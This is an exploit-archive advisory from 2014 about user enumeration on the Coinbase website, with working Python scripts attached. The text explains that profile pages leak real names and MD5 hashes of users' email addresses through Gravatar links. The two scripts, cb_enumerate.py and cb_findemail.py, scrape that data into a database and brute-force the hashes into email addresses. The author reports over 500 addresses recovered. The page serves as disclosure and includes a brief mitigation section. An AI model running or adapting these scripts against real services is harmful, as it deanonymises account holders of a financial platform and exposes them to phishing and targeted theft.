Coinbase User Enumeration



EKU-ID: 4430 CVE: OSVDB-ID:
Author: AverageSecurityGuy Published: 2014-12-09 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


Coinbase User Enumeration
=========================
The Coinbase web site allows user enumeration, which would normally not be a big deal, but in this case, we are able to enumerate a users username, "real name", and an MD5 hash of the user's email address. Using a large list of email addresses and a tool like hashcat it is possible to determine the email address for many of these users. Keep in mind that the real name is user specified and may not be the user's actual name. Many of the names I enumerated did appear to be the user's real name though.


Data Gathering
--------------
If you send a GET request to https://www.coinbase.com/<username> you will get either a 200 response if the username is valid or a 404 response if the username is not valid. If you get a 200 message the response will contain the user's real name and an MD5 hash of the user's email address. The MD5 hash is a part of the Gravatar link used to show the user's avatar. Coinbase calculates the Gravatar link and includes it for every user, whether they have a Gravatar account or not and whether or not they have chosen to associate a Gravatar account with their Coinbase account.

The following Python regular expressions can be used to gather the real name and the MD5 hash of the email address.

r'meta content="(.*?) is accepting'
r'/avatar/(.*?)\.png'

Attached is a Python script, cb_enumerate.py, that will take a word list, enumerate valid users, and store the enumerated username, real name, and email hash in a database.


Finding Email Addresses
-----------------------
To crack the MD5 hashes, I first generated a list of potential usernames using the enumerated usernames and various combinations of the real names. I generated a second set of usernames using a list of most popular first and last names. I then used the Alexa top 1000 domain names and a Python script to generate candidate email addresses. Finally, I used another Python script to calculate the MD5 hash for each candidate email address and update the database with the actual email address if the hash is present. This was a very slow process.

It would be better to use a tool like Hashcat or oclHashcat to do the email cracking for you and then take the list of matching email addresses generated by Hashcat and feed it to the cb_findemail.py script that is attached.


Results
-------
I was able to enumerate 2465 Coinbase accounts and was able to recover the email address for over 500 of those accounts.


Fixing The Problem
------------------
I don't think there is much you can do to fix the enumeration problem. You could rate limit enumeration attempts coming from a single IP address but an attacker could use multiple IP addresses to get around the rate limiting. The email address enumeration can definitely be prevented by not including the Gravatar link on an account unless the user specifically requests it.

Thanks,

AverageSecurityGuy

cb_findemail.py

import sqlite3
import sys
import hashlib

DB_FILE = 'cb_enum.db'

#
# Configure the database.
#
conn = sqlite3.connect(DB_FILE)
cur = conn.cursor()


def save_email(hash, email):
    print hash, email
    cur.execute('UPDATE users SET email=? WHERE emailhash=?', (email, hash))
    conn.commit()


def check_hash(hash):
    cur.execute('SELECT username FROM users WHERE emailhash=? AND email IS NULL', (hash,))
    if cur.fetchone() is None:
        return False
    else:
        return True


def main(user_file, domain_file):
    count = 1
    for user in open(user_file):
        for dom in open(domain_file):
            email = '{0}@{1}'.format(user.rstrip('\r\n'), dom.rstrip('\r\n'))
            hash = hashlib.md5(email.lower()).hexdigest()

            if check_hash(hash) is True:
                save_email(hash, email)

            if count % 1000 == 0: print count
            count += 1


if __name__ == '__main__':
    try:
        if len(sys.argv) != 3:
            print 'USAGE: cb_findemail.py usernames domain_names'
            sys.exit(1)

        main(sys.argv[1], sys.argv[2])

    except KeyboardInterrupt:
        pass

cb_enumerate.py

import requests
import sqlite3
import re
import sys

DB_FILE = 'cb_enum.db'
name_re = re.compile(r'meta content="(.*?) is accepting')
hash_re = re.compile(r'/avatar/(.*?)\.png')

#
# Configure the database.
#
conn = sqlite3.connect(DB_FILE)
cur = conn.cursor()
cur.execute("CREATE TABLE IF NOT EXISTS users (username text, realname text, emailhash text, email text)")


def save_user(user, name, hash):
    print user, name, hash
    name = unicode(name, 'utf-8')
    cur.execute('INSERT INTO users VALUES (?, ?, ?, ?)', (user, name, hash, None))
    conn.commit()


def get_user(user):
    try:
        resp = requests.get('https://www.coinbase.com/{0}'.format(user))

        if resp.status_code != 404:
            return resp.content
        else:
            return None

    except requests.exceptions.RequestException as e:
        print '{0} - {1}'.format(user, str(e))
        return None


def main(filename):
    count = 1
    for line in open(filename):
        user = line.rstrip('\r\n')
        data = get_user(user)

        if data is not None:
            name = name_re.search(data)
            hash = hash_re.search(data)
           
            if name is not None:
                save_user(user, name.group(1), hash.group(1))

        if count % 100 == 0: print count
        count += 1


if __name__ == '__main__':
    try:
        if len(sys.argv) != 2:
            print 'USAGE: cb_enumerate.py usernames'
            sys.exit(1)

        main(sys.argv[1])

    except KeyboardInterrupt:
        pass